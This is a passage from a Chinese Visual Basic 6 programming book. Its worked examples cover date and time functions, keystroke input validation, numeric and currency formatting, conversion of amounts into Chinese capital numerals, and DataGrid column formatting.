If n = 2 Then day = "Monday"
     '…
If n = 7 Then day = "Saturday"
lblDate.Caption = day & ", " & Date




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断经历多少个工作日”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“开始日期”和“截止日期”；添加两个TextBox控件，用于输入开始和截止日期。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“计算”和“退出”；再添加一个Label控件，用于显示结果。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    If IsDate(Text1) = True And IsDate(Text2) = True Then
        Dim i As Integer
        i = gongzuori(CDate(Text1), CDate(Text2))
        Label3.Caption = "经历" & i & "个工作日"
    Else
        MsgBox "请输入日期型"
    End If
End Sub
Private Function gongzuori(ByVal d1 As Date, ByVal d2 As Date)
    Dim i As Date
    Dim num As Integer
    For i = CDate(d1) To CDate(d2)
        If Weekday(i, vbMonday) <> 7 And Weekday(i, vbMonday) <> 6 Then
            num = num + 1
        End If
    Next i
    gongzuori = num
End Function




秘笈心法

心法领悟194：同时获得系统当前日期和时间。

利用Now函数获取系统当前日期和时间，代码如下：



Private Sub Command1_Click()
    Text1.Text = Now
End Sub






 实例195　实现系统分段报时

光盘位置：光盘\MR\06\195

中级

趣味指数：[image: ]




实例说明

本实例主要实现了系统分段报时的功能。这里将时间分为“早上”、“上午”、“中午”、“下午”、“晚上”5个时间段。当程序运行时将根据不同时间段在对话框中显示不同的信息，显示结果如图6.60所示。

[image: ]
图6.60　实现系统分段报时



关键技术

本实例主要是通过使用条件语句和时间函数来实现的。这里利用If语句和Hour函数、Now函数将当前时间分成几段，不同的时间段就显示不同的信息。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何实现系统分段报时”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Load()
    If Hour(Now) >= 0 And Hour(Now) < 8 Then
        MsgBox ("早上好！现在的时间为：" & Now())
    ElseIf Hour(Now) >= 8 And Hour(Now) < 11 Then
        MsgBox ("上午好！现在的时间为：" & Now())
    ElseIf Hour(Now) >= 11 And Hour(Now) < 13 Then
        MsgBox ("中午好！现在的时间为：" & Now())
    ElseIf Hour(Now) >= 13 And Hour(Now) < 18 Then
        MsgBox ("下午好！现在的时间为：" & Now())
    Else
        MsgBox ("晚上好！现在的时间为：" & Now())
    End If
    Unload Me
End Sub




秘笈心法

心法领悟195：计算程序的运行时间。

定义一个窗体级变量t，添加Timer控件命名为Timer1，当程序启动时将变量t赋值为程序启动时的日期和时间，并将Timer1启用。在Timer1事件中利用DateDiff函数计算系统当前日期和时间与程序启动时的日期和时间的差，从而确定程序运行的时间，代码如下：



Dim t As Date
Private Sub Form_Load()
    t = Now
    Timer1.Interval = 1
    Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
    Timer1.Interval = 60000
    Dim i, h, m As Integer
    i = DateDiff("n", t, Now)
    h = i \ 60
    m = i Mod 60
    Label1.Caption = "程序已运行" & h & "小时" & m & "分钟"
End Sub






 实例196　利用timeGetTime函数更精准地计算时间差

光盘位置：光盘\MR\06\196

高级

趣味指数：[image: ]




实例说明

本实例实现了利用timeGetTime函数更精确地计算时间差。运行本实例程序后单击“开始”按钮，窗体将每间隔0.05秒输出字符串“明日科技”，显示结果如图6.61所示。

[image: ]
图6.61　利用timeGetTime函数更精准地计算时间差



关键技术

通过在循环中利用Timer函数的方法获得时间差最小精度只有0.05秒，如何才能获得精度更高的时间差呢？这里改用Windows API的timeGetTime函数，此函数会传回Windows开机以来所经过的时间，时间以毫秒为单位。timeGetTime的优点是时间可以精确到1/1000秒。利用该函数配合循环语句就可以获得高精度的时间差。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用timeGetTime函数更精准地计算时间差”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于输出信息；添加一个CommandButton控件，Caption属性设置为“开始”。

（4）程序的运行代码如下：



Private Declare Function timeGetTime Lib "winmm.dll" () As Long
    Private Sub Command1_Click()
    Dim nowtime As Long
    Do
        nowtime = timeGetTime
        While timeGetTime - nowtime < 5  '等于 5/1000 = 0.005 秒
            DoEvents
        Wend
        Text1.Text = "明日科技" & Chr(13) & Chr(10) & Text1
    Loop
End Sub




秘笈心法

心法领悟196：设置系统的日期。

使用Date语句可以设置当前系统日期，代码如下：



Private Sub Command1_Click()
    Dim i As Date
    i = CDate(Text1.Text)
    Date = i
End Sub
Private Sub Command2_Click()
    Text1.Text = Date
End Sub






 实例197　使用DateAdd函数向日期型数据加值

光盘位置：光盘\MR\06\197

初级

趣味指数：[image: ]




实例说明

本实例实现了使用DateAdd函数向日期型数据加值。运行本实例程序，单击“确定”按钮将会分别显示当前系统日期和下个月的日期，显示结果如图6.62所示。

[image: ]
图6.62　使用DateAdd函数向日期型数据加值



关键技术

本实例主要是通过使用DateAdd函数来实现的。


说明：
 DateAdd函数的详细讲解请参见实例168中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“使用DateAdd函数向日期型数据加值”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“当前日期”和“下月日期”；添加两个Text Box控件，用于输入当前日期和显示下月日期。

（4）在窗体上添加一个CommandButton控件，Caption属性设置为“确定”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Text1.Text = Date
    Text2.Text = DateAdd("m", 1, Date)  '显示系统当前日期的下一个月的日期
End Sub




秘笈心法

心法领悟197：设置系统的时间。

使用Time语句设置系统时间，代码如下：



Private Sub Command1_Click()
    Dim t As Date
    t = CDate(Text1.Text)
    Time = t
End Sub
Private Sub Command2_Click()
    Text1.Text = Time
End Sub





第7章　数据处理技术

非法输入控制

数据格式转换

数据辅助录入

编号、单据号生成

辅助与自动化

数据的输入控制






 7.1　非法输入控制



 实例198　只允许输入数字

光盘位置：光盘\MR\07\198

中级

趣味指数：[image: ]




实例说明

在数据录入过程中，对于一些只允许输入数字的字段（如“单价”、“金额”等），必须首先在程序中加以判断，否则在保存数据时将会出错。

例如，在产品信息添加窗体中，当用户在“单价”文本框中输入汉字或其他字符时，系统将出现错误提示，如图7.1所示。

[image: ]
图7.1　只允许输入数字



关键技术

本实例主要是通过使用对象的KeyPress事件来实现的。当在键盘上做按键操作时，就会引发对象的KeyPress事件，该事件过程中的参数KeyAscii是一个整数，记录了所击键的ASCII码值，借助该值可以判断用户按的是哪一个键。如果用户按的键不在指定范围内，则将KeyAscii参数值设置为0，取消用户输入的字符，并提示用户。

表7.1中列出了数字按键、回车和退格的ASCII码值。

表7.1　数字按键回车和退格的ASCII码值



	按键
	ASCII码
	按键
	ASCII码



	0
	48
	6
	54



	1
	49
	7
	55



	2
	50
	8
	56



	3
	51
	9
	57



	4
	52
	Enter（回车）
	13



	5
	53
	Back Space（退格）
	8





注意：
 在限制用户输入非0～9之间的数字的同时，不应限制用户输入“回车”和“退格”，否则将给用户带来不便。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_cpgl。

（2）在main_cpgl窗体中添加一个Frame控件，默认的“名称”属性为Frame1。

（3）在Frame1控件中添加5个Label控件和一个TextBox控件数组（Text1(0)～Text1(4)）。

（4）主要程序代码如下：



Private Sub Text1_KeyPress(Index As Integer, KeyAscii As Integer)
  'ASCII码48～57表示按键盘的0～9键，其中13为“回车”；8为“退格”
  If Index = 0 Or Index = 3 Then
     If KeyAscii < 48 And KeyAscii <> 13 And KeyAscii <> 8 Then
       'KeyAscii = 0用于取消用户的这一次输入
       KeyAscii = 0
       MsgBox "输入字符必须在0～9之间！", 48, "提示"
     ElseIf KeyAscii > 57 And KeyAscii <> 13 And KeyAscii <> 8 Then
       KeyAscii = 0
       MsgBox "输入字符必须在0～9之间！", 48, "提示"
     End If
  End If
End Sub




秘笈心法

心法领悟198：设置光标到文本框的末尾。

利用TextBox控件的SelStart属性来指定文本框中光标的位置，把光标位置设置成文本框中的文字长度即可将光标自动移动到文本框的末尾。如将光标设置到文本框Text1的末尾。关键代码如下：



Text1.SetFocus'-----设置焦点到Text1上
Text1.SelStart = Len(Text1)    '光标移动到文本框末尾






 实例199　只允许输入汉字

光盘位置：光盘\MR\07\199

中级

趣味指数：[image: ]




实例说明

本实例只允许用户输入汉字，如果用户输入除汉字以外的其他字符，程序将不允许输入，并提示用户，结果如图7.2所示。

[image: ]
图7.2　只允许输入文字



关键技术

在执行TextBox控件的KeyPress事件的过程中，需判断用户按键的ASCII码值，如果ASCII码值大于零，则将KeyAscii参数值设置为0取消用户输入的字符，并提示用户。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体中添加一个TextBox控件[image: ]
 和一个CommandButton控件[image: ]
 。

（3）主要程序代码如下：



Private Sub Text1_KeyPress(KeyAscii As Integer)
  If KeyAscii > 0 And KeyAscii <> 13 And KeyAscii <> 8 Then
    KeyAscii = 0
    MsgBox "只允许输入汉字！", 48, "提示"
  End If
End Sub
Private Sub Command1_Click()
  End
End Sub




秘笈心法

心法领悟199：格式化DataGrid表格中的数据。

用Format函数对DataGrid1中指定的列进行格式化。关键代码如下：



DataGrid1.Columns(Index).Text = Format(Date, "mm-dd-yyyy")




其中Index为指定列的索引。



 实例200　只允许输入特殊字符

光盘位置：光盘\MR\07\200

中级

趣味指数：[image: ]




实例说明

在数据查询窗体中，有时需要用户手动输入关系运算符，如果用户不小心输入了其他字符，则查询时会出现错误。因此，在设计数据查询模块时，运算符文本框应只允许用户输入大于、小于、大于等于、小于等于、等于或不等于等关系运算符，如果用户输入其他字符，则不允许输入，并提示用户，结果如图7.3所示。

[image: ]
图7.3　只允许输入特殊字符



关键技术

在执行TextBox控件的KeyPress事件的过程中，需判断用户按键的ASCII码值，如果ASCII码值小于60大于62，并且不等于13或8，则将KeyAscii参数值设置为0取消用户输入的字符，并提示用户。

表7.2列出了大于、小于、等于运算符的ASCII码值。

表7.2　数字按键的ASCII码值



	按 键
	ASCII码



	＜
	60



	=
	61



	＞
	62





注意：
 在限制用户输入非大于、小于等运算符的同时，不应限制用户输入“回车”和“退格”，否则将给用户带来不便。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_find。

（2）在main_find窗体上添加一个Frame控件，默认的“名称”属性为Frame1。

（3）在Frame1控件中添加两个Label控件、一个ComboBox控件、两个TextBox控件和两个CommandButton控件。

（4）主要控件的属性设置如表7.3所示。

表7.3　主要控件的属性设置



	对 象
	属 性
	值
	功 能



	ComboBox
	名称
	cboFields
	显示字段名称



	TextBox
	名称
	txtOperator
	输入运算符



	TextBox
	名称
	txtData
	输入关键字



	CommandButton
	名称 Caption
	CmdFind 查询
	查询



	CommandButton
	名称 Caption
	cmdExit 退出
	退出程序




（5）主要程序代码如下：



Private Sub txtOperator_KeyPress(KeyAscii As Integer)
  If KeyAscii < 60 And KeyAscii <> 13 And KeyAscii <> 8 Or KeyAscii > 62 Then
    KeyAscii = 0
    MsgBox "只能输入“>”、“<”等运算符！", 48, "提示"
  End If
End Sub




秘笈心法

心法领悟200：只允许用户输入月份和日期。

利用Format函数可指定时间的显示格式，日期的格式为YYYY-MM-DD。YYYY代表年，MM代表月，DD代表日。这里利用Format函数指定Text1的格式为MM-DD。关键代码如下：



Text1.Text=Format(Text1,"mm-dd")






 实例201　禁止输入非法字符

光盘位置：光盘\MR\07\201

中级

趣味指数：[image: ]




实例说明

用户的正确输入是程序准确、高效运行的前提，因此如何约束用户按要求输入是编写应用软件的关键任务。在用户登录窗体中，“密码”文本框主要用于输入用户的密码，一般为数字、字母或数字加字母的组合，对于标点符号和一些特殊的字符则不允许输入，如“！”、“#”、“*”、“|”等。

在如图7.4所示的“密码”文本框中，如果用户输入前面提到的字符，则系统将禁止输入，并进行提示。

[image: ]
图7.4　禁止输入非法字符



关键技术

在执行TextBox控件的KeyPress事件的过程中，判断用户按键的ASCII码值，主要分3段。第一段，如果ASCII码值大于0，并且小于48、不等于13和8，则将KeyAscii参数值设置为0取消用户输入的字符，并提示用户；第二段，如果ASCII码值大于57，并且小于96，则将KeyAscii参数值设置为0取消用户输入的字符，并提示用户；第三段，如果ASCII码值大于123，并且小于255，则将KeyAscii参数值设置为0取消用户输入的字符，并提示用户。

表7.4中列出了ASCII码（0～127）的值。


表7.4　ASCII码（0～127）的值

[image: ]



注意：
 Microsoft Windows不支持1～7、11～12和14～31之间的字符。将* *值8、9、10和13分别转换为退格、制表、换行和回车字符。它们并没有特定的图形显示，但会依不同的应用程序而对文本显示有不同的影响。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为frm_Login。

（2）在frm_Login窗体上添加一个Frame控件，默认的“名称”属性为Frame1。

（3）在Frame1控件中添加两个Label控件、两个TextBox控件和两个CommandButton控件。

（4）主要控件的属性设置如表7.5所示。

表7.5　主要控件的属性设置



	对 象
	属 性
	值
	功 能



	TextBox
	名称
	txtUserName
	输入用户名称



	TextBox
	名称
	txtPassword
	输入密码



	CommandButton
	名称 Caption
	cmdOK 确定
	确定



	CommandButton
	名称 Caption
	cmdExit 放弃
	退出程序




（5）主要程序代码如下：



Private Sub txtPassword_KeyPress(KeyAscii As Integer)
   'ASCII码48～57表示按键盘的0～9键，其中13为“回车”；8为“退格”
   If KeyAscii > 0 And KeyAscii < 48 And KeyAscii <> 13 And KeyAscii <> 8 Then
     KeyAscii = 0
     MsgBox "非法字符，重新输入！", 48, "提示"
   End If
   If KeyAscii > 57 And KeyAscii < 96 Then
     KeyAscii = 0
     MsgBox "非法字符，重新输入！", 48, "提示"
   End If
   If KeyAscii > 123 And KeyAscii < 255 Then
     KeyAscii = 0
     MsgBox "非法字符，重新输入！", 48, "提示"
   End If
End Sub




秘笈心法

心法领悟201：判断用户输入的字符是否为字母。

英文字母有大小写之分，只需将该字母转换为大写，再判断是不是在A～Z的范围内，如果是，则为英文字母，否则不是。

下面将定义一个函数，用于判断用户输入的字符是否为英文字母，具体代码如下：



Function LetterStr(inp As String) As Boolean
    Dim upalp As String
    upalp=UCase(inp)
    If "A"<=upalp And upalp <="Z" Then
        LetterStr = True
    Else
        LetterStr = False
    End If
    End Function






 实例202　数据保存前检查数据是否正确

光盘位置：光盘\MR\07\202

中级

趣味指数：[image: ]




实例说明

本实例利用IsNumeric函数来判断在需要输入数值的文本框中的字符是否为数字类型，如果不是，则出现提示，警告用户。例如，在“年龄”文本框中输入字母“A”，单击“添加数据”按钮则出现错误提示，显示结果如图7.5所示。

[image: ]
图7.5　数据保存前检查数据是否正确



关键技术

本实例主要是通过使用IsNumeric函数来实现的。


说明：
 IsNumeric函数的详细讲解请参见实例079中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“数据保存前检查数据是否正确”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加6个Label控件、6个TextBox控件和两个CommandButton控件，并设置各自的属性。

（4）在窗体上添加一个DataGrid控件。程序的运行代码如下：



Private Sub Command1_Click()
    If Not IsNumeric(Text2) Or Not IsNumeric(Text5) Or (Text3 <> "男" And Text3 <> "女") Then
        MsgBox "您输入的格式不对"
    Else
        Dim conn As ADODB.Connection
        Set conn = New ADODB.Connection
        conn.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
        Dim rs As ADODB.Recordset
        Set rs = New ADODB.Recordset
        rs.Open "select * from 招聘信息", conn, adOpenStatic, adLockOptimistic
        rs.AddNew
        rs.Fields(0) = Text1
        rs.Fields(1) = Text2
        rs.Fields(2) = Text3
        rs.Fields(3) = Text4
        rs.Fields(4) = Text5
        rs.Fields(5) = Text6
        rs.Update
        If Err.Number = 0 Then
            MsgBox "保存成功"
        Else
            Exit Sub
        End If
    End If
End Sub




秘笈心法

心法领悟202：限制输入。

在某些应用程序中，需要限制在文本框或其他一些控件中只能输入数字或一些特定的字符，下面通过一个函数来实现此功能。



Function ValiText(KeyIn As Integer, ValidateString As String, Editable As Boolean) As Integer
Dim ValidateList As String
Dim KeyOut As Integer
If Editable = True Then
ValidateList = UCase(ValidateString) & Chr(8)
Else
ValidateList = UCase(ValidateString)
End If
If InStr(1, ValidateList, UCase(Chr(KeyIn)), 1) > 0 Then
KeyOut = KeyIn
Else
KeyOut = 0
Beep
End If
ValiText = KeyOut
End Function




在工程中加入此函数后，就可以使用它了。例如，在“电话”文本框中不允许用户输入非数字的数据，则在该文本框的KeyPress事件过程中加入以下代码：



KeyAscii=ValiText(Keyascii, "0123456789/-",True)




运行程序，“电话”文本框将拒绝输入非数字的数据，只接受第二个参数提供的字符，即"0123456789/-"。另外，此函数的第三个参数决定了用户是否使用键。


 7.2　数据格式转换



 实例203　生成“000”格式的编码

光盘位置：光盘\MR\07\203

中级

趣味指数：[image: ]




实例说明

按照数字（1、2、3、4…）顺序生成的编码其位数不统一，不容易进行排序、分类、检索等，如何将这种编码生成统一的格式编码是本实例的主要任务。运行程序，单击“增加”按钮，系统将自动生成“000”格式的“经手人编号”，结果如图7.6所示。

[image: ]
图7.6　生成“000”格式的编码



关键技术

本实例主要是通过使用Format函数来实现的。


说明：
 Format函数的详细讲解请参见实例171中的关键技术。

表7.6标识了一些可用来创建用户自定义数值格式的字符。

表7.6　可用来创建用户自定义数值格式的字符



	字 符
	说明



	无
	显示没有格式的数值



	(0)
	数字占位符。显示一位数字或是0。如果表达式在格式字符串中0的位置上有一位数字存在，那么就将它显示出来；否则，就以0显示。如果数值的位数少于格式表达式中0的位数（无论是小数点的左方或右方），那么就把前面或后面的0补足。如果数值的小数点右方位数多于格式表达式中小数点右面0的位数，那么就四舍五入到有0的位数的最后一位。如果数值的小数点左方位数多于格式表达式中小数点左面0的位数，那么多出的部分都要不加修饰地显示出来



	(#)
	数字占位符。显示一位数字或什么都不显示。如果表达式在格式字符串中“#”的位置上有数字存在，那么就显示出来；否则，该位置就什么都不显示

此符号的工作原理和“0”数字占位符大致相同，不同之处只有在当表达式中数值的位数少于“#”的位数（无论是小数点左方或右方）时，不会把前面或后面的0显示出来



	(.)
	小数点占位符。在一些国别是用逗号来当小数点的。小数点占位符用来决定在小数点左右可显示多少位数。如果格式表达式在此符号左边只有正负号，那么小于1的数字将以小数点为开头。如想在小数前有“0”的话，那么请在小数点占位符前加上“0”这个数字占位符。小数点占位符的实际字符在格式输出时要看系统的数字格式而定



	(%)
	百分比符号占位符。表达式乘以100。而百分比字符(%)会插入到格式字符串中出现的位置上



	(,)
	千分位符号占位符。在一些国别是用句点来当千位符号。千位符号主要是把数值小数点左边超过4位数以上分出千位。如果格式中在数字占位符（0或#）周围包含有千分位符号，则指定的是标准的千分位符号使用法。两个邻近的千分位符号或一个千分位符号紧接在小数点左边（不管小数位是否指定），其意思为“将数值除以1000，按需要四舍五入”。例如，可以用格式字符串“##0,,”将1亿表示成100。数值小于一百万的话表示成“0”，两个邻近的千分位符号除了紧接在小数点左边以外，在任何位置出现时均简单地视为指定了使用千分位符号。小数点占位符的真正字符在格式输出时，需视系统识别的数字格式而定



	(:)
	时间分隔符。在一些国别，可能用其他符号来当时间分隔符。在格式化时间值时，时间分隔符可以用来分隔时、分和秒。时间分隔符的真正字符在格式输出时，取决于系统的设置



	(/)
	日期分隔符。在一些国别，可能用其他符号来当日期分隔符。在格式化日期数值时，日期分隔符可以用来分隔年、月、日。日期分隔符的真正字符在格式输出时，取决于系统设置



	(\)
	那些不能显示为原义字符的字符是日期格式字符和时间格式字符（a, c, d, h, m, n, p, q, s, t, w, y, / 和 :）、数值格式字符（#, 0, %, E, e, 逗点和句点）和字符串格式字符（@, &, <, > 和 !）



	("ABC")
	显示双引号("")之内的字符串。例如，在代码中想在format中包含一个字符串，必须用Chr(34)将文本括起来（34为双引号(")的字符代码）




设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_jsr。

（2）在main_jsr窗体上添加6个Label控件、一个TextBox控件数组（Text1(0)～Text1(5)），4个CommandButton控件。

（3）依次设置Label控件的Caption属性为“经手人编号”、“经手人姓名”、“联系方式”、“联系地址”、“身份证号”和“备注”，CommandButton控件的Caption属性为“增加”、“保存”、“取消”和“退出”。

（4）主要程序代码如下：



Dim rs1 As New ADODB.Recordset
Function Cnn() As ADODB.Connection    '定义函数
  Set Cnn = New ADODB.Connection
  '返回一个数据库连接
   Cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_CSell.mdb;Persist Security Info=False"
End Function
Private Sub Command1_Click()
  rs1.Open "select * from 经手人表", Cnn, adOpenKeyset, adLockOptimistic
  If rs1.RecordCount > 0 Then
     rs1.MoveLast
     Text1(0) = Format(Val(rs1.Fields("经手人编号")) + 1, "000")
  Else
     Text1(0) = "001"
  End If
  rs1.Close
  For i = 1 To Text1.UBound
      Text1(i) = ""
      Text1(i).Locked = False
  Next i
  Text1(1).SetFocus
End Sub





注意：
 如果使用ADO对象前不先引用它，则使用Dim Cnn as new ADODB.Connection和Dim rs as New ADODB.Recordset语句将会出现“用户定义类型未定义”的错误，因为Connection和Recordset对象都定义在Microsoft ActiveX Data Objects 2.5 Library中，如果不事先引用，VB将无法识别它们。

秘笈心法

心法领悟203：实现将Access数据库的扩展名改为小写。

在编写数据库备份与恢复的程序中，如果用户选择的数据库类型不是mdb，那么程序将会出现提示对话框。在实际应用过程中，不小心将Access数据库的扩展名改为了大写（即MDB），这时再运行数据库备份与恢复程序，选择此数据库便提示数据库类型不正确，但Access数据库应用程序是识别该数据库的，所以在读取Access数据库时，应将取出的扩展名MDB使用LCase函数转换为小写的mdb。关键代码如下：



If LCase(Right(File1.FileName, 3)) <> "mdb" Then
        MsgBox "数据库格式不正确，系统无法进行备份！"
        Exit Sub
End If






 实例204　将数字格式化为金额

光盘位置：光盘\MR\07\204

初级

趣味指数：[image: ]




实例说明

在录入商品信息时，涉及金额的字段，如不经过处理，则以数字的形式显示，这样很容易造成数据录入错误，因为它和“数量”相似，如果数据录入量较大，则很容易将其与“单价”和“金额”混淆，从而给使用者带来不便。本实例将会解决这一问题。运行程序，录入商品数据，当录入“单价”或“数量”后，“单价”和“金额”文本框的数字将自动被格式化为金额，结果如图7.7所示。

[image: ]
图7.7　将数字格式化为金额



关键技术

使用Format函数可以将数字格式化为金额，语法如下：



Format(对象名称, "0.00")




上述代码中的Format函数将小数点作为占位符。小数点占位符在此用来决定在小数点左右可显示多少位数。如果格式表达式在此符号左边只有正负号，则小于1的数字将以小数点为开头；如果需要小数前有0，则在小数点占位符前加上0这个数字占位符。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_sp。

（2）在main_sp窗体上添加6个Label控件，一个TextBox控件数组（Text1(0)～Text1(5)）。

（3）依次设置Label控件的Caption属性为“品名规格”、“编号”、“单位”、“单价”、“数量”和“金额”。

（4）主要程序代码如下：



Private Sub Text1_Change(Index As Integer)
  If Index = 3 Or Index = 4 Or Index = 5 Then
    Text1(5) = Val(Text1(3)) * Val(Text1(4))
    Text1(5) = Format(Text1(5), "0.000")
  End If
End Sub
Private Sub Text1_KeyDown(Index As Integer, KeyCode As Integer, Shift As Integer)
  If KeyCode = vbKeyReturn And Index < 5 Then Text1(Index + 1).SetFocus
End Sub
Private Sub Text1_LostFocus(Index As Integer)
  Text1(Index).BackColor = &H80000005
  If Index = 3 Then Text1(3) = Format(Text1(3), "0.00")
End Sub




秘笈心法

心法领悟204：GetSetting函数的使用。

在开发数据库系统管理软件时，使用GetSetting函数返回注册表项设置值，可以控制软件的试用期，关键代码如下：



Private Sub Form_Load()
   Dim ss As Date
   Dim dd As Integer
   If GetSetting(appname:="this", section:="user", Key:="time") = "" Then
      MsgBox "尊敬的用户：你好！你还没有注册软件，从现在开始，你的试用为30天！"
      SaveSetting appname:="this", section:="user", Key:="time", setting:=Date
   Else
      ss = GetSetting(appname:="this", section:="user", Key:="time")
      dd = Date - ss
      If dd > 30 Then
         MsgBox "对不起，你的试用期已到！ "
         Unload Me
      Else
         MsgBox "您现在还没有注册本软件，试用期还有" & 30 - dd & "天！"
      End If
   End If
End Sub






 实例205　将小写数字金额格式化为大写金额

光盘位置：光盘\MR\07\205

高级

趣味指数：[image: ]




实例说明

在处理财务账款时，一般需要使用人民币大写金额，如给客户开发票时，要把1988元写成“壹仟玖佰捌拾捌元”。本实例将实现将小写的数字金额转换为人民币大写金额这一功能，最高可将几十亿的数字转换为人民币大写金额。运行程序，在“汇款金额”文本框中输入数字，当焦点移出时，该小写数字金额将自动转换为大写金额，结果如图7.8所示。

[image: ]
图7.8　将小写数字金额转换为大写数字金额



关键技术

利用Select Case 结构，结合阿拉伯数字和汉字数字的规律，编写数字转换函数和位数转换函数。利用这两个函数和字符串函数，将小写金额转换为大写金额。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1，设置Picture属性为事先设计好的图片（本书程序所在目录下的pic.bmp）。

（2）选择VB菜单中的“工程”/“添加模块”命令，在工程中添加一个标准模块。

（3）在Form1窗体上添加一个TextBox控件[image: ]
 数组（Text1(0)～Text1(4)），设置它们的BorderStyle属性为0-None，Text属性为空。

（4）在标准模块Module1窗口的声明中加入以下代码：



Private Function setdata(num As Integer) As String
  Select Case num
  Case 0
      setdata = "零"
  Case 1
      setdata = "壹"
  Case 2
      setdata = "贰"
  Case 3
      setdata = "叁"
  Case 4
      setdata = "肆"
  Case 5
      setdata = "伍"
  Case 6
      setdata = "陆"
  Case 7
      setdata = "柒"
  Case 8
      setdata = "捌"
  Case 9
      setdata = "玖"
  End Select
End Function
Private Function chang(aaa As Integer) As String
  Select Case aaa
  Case 1
      chang = ""
  Case 2
      chang = "拾"
  Case 3
      chang = "佰"
  Case 4
      chang = "仟"
  Case 5
      chang = "万"
  Case 6
      chang = "拾"
  Case 7
      chang = "佰"
  Case 8
      chang = "仟"
  Case 9
      chang = "亿"
  Case 10
      chang = "拾"
  End Select
End Function
Public Function changemoney(num) As String
  Dim i As Integer
  Dim j As Integer
  Dim myint As Integer
  Dim myint1 As Integer
  Dim mydoub As Double
  Dim mystr As String
  Dim mystr1 As String
  Dim mystr2 As String
  Dim mystr3 As String
  Dim mystr4 As String
  Dim money As Long
  Dim money1 As Integer
  Dim money2 As Long
  mystr = num
  myint = InStr(mystr, ".")
  If myint = 0 Then
     mystr = num
   Else
     mystr3 = Right(num, Len(num) - myint)
     If mystr3 <> "" Then
        mystr4 = Left(mystr3, 1)
        mystr3 = Right(mystr3, Len(mystr3) - 1)
        If mystr4 <> "0" Then
           mystr2 = mystr2 + setdata(Val(mystr4)) + "角"
        End If
        If mystr3 <> "" Then
           mystr4 = Left(mystr3, 1)
           mystr2 = mystr2 + setdata(Val(mystr4)) + "分"
        End If
     End If
     mystr = Left(num, myint - 1)
  End If
  j = Len(mystr)
  For i = 1 To Len(mystr)
      money2 = Left(mystr, i)
      money1 = Right(money2, 1)
      If money1 = 0 Then
         If j = 5 Then
            If Right(mystr1, 1) <> "万" Then mystr1 = mystr1 & "万"
             Else
               If Right(mystr1, 1) <> "零" And Right(money, j) > 0 Then mystr1 = mystr1 & "零"
            End If
          Else
            mystr1 = mystr1 & setdata(money1) + chang(j)
         End If
         j = j - 1
  Next i
  changemoney = mystr1 & "元" & mystr2
End Function




在Form1窗体的代码窗口中的声明中加入以下代码：



Private Sub Text1_KeyDown(Index As Integer, KeyCode As Integer, Shift As Integer)
  If KeyCode = vbKeyReturn And Index >= 0 And Index < 4 Then Text1(Index + 1).SetFocus
End Sub
Private Sub Text1_LostFocus(Index As Integer)
  If Index = 0 Then
    If Text1(0) = "0" Then
      Text1(0) = "零圆"
    Else
      Text1(0) = changemoney(Val(Text1(0).Text))
    End If
  End If
End Sub




秘笈心法

心法领悟205：Randomize函数的使用。

本实例用Randomize语句初始化随机数生成器。由于忽略了数值参数，所以Randomize用Timer函数的返回值作为新的随机数种子值。



Randomize               '对随机数生成器做初始化的动作
Num = Int((7 * Rnd) + 1)        '变量Num的值是1～7之间的随机数，由于已经初始化生成器，所以每次启动时的随机数都不同






 实例206　根据字段类型自动格式化DataGrid表格中的数据

光盘位置：光盘\MR\07\206

中级

趣味指数：[image: ]




实例说明

在使用DataGrid控件显示表格中的数据时，有时希望一些特殊的数据能以特殊的格式显示。例如，在工资表中，各个工资项（如基本工资、加班费、奖励金额等）都是数字，为了使这些数据与其他数字数据（如0、20、100、200等）区分开，可以将其格式化为金额。运行程序，DataGrid表格将显示员工的工资数据，其中涉及金额的项将自动格式化为表示金额的格式，如图7.9所示。

[image: ]
图7.9　根据字段类型自动格式化DataGrid表格中的数据



关键技术

Recordset对象的Fields对象的Type属性可以判断表中字段的类型，如果表中字段的类型为money，则使用Columns对象的DataFormat属性将DataGrid控件中符合该类型的字段的所在列格式化为金额。

下面介绍DataGrid控件的Columns对象中的DataFormat属性。

DataFormat属性设置或返回StdDataFormat对象，一个绑定对象将附加到它。在设计或运行时都可读写，语法如下：



object.DataFormat = formatobject




参数说明

❶ object：一个对象表达式。

❷ formatobject：必选参数。一个StdDataFormat对象。

❸ DataFormmat属性可以将某列单元格中的数据格式化为自己想要的格式，如数字、货币、日期、时间、百分数等。


注意：
 （1）在使用代码设置DataFormat属性时，应首先引用Microsoft数据格式化对象库。

（2）如果代码中的设置值与属性页的设置值不一样，那么属性页的设置值将应用于第一个取到的记录，之后将使用代码中的设置值。

设计过程

（1）新建一个标准工程，设置“名称”属性为main_gzgl。

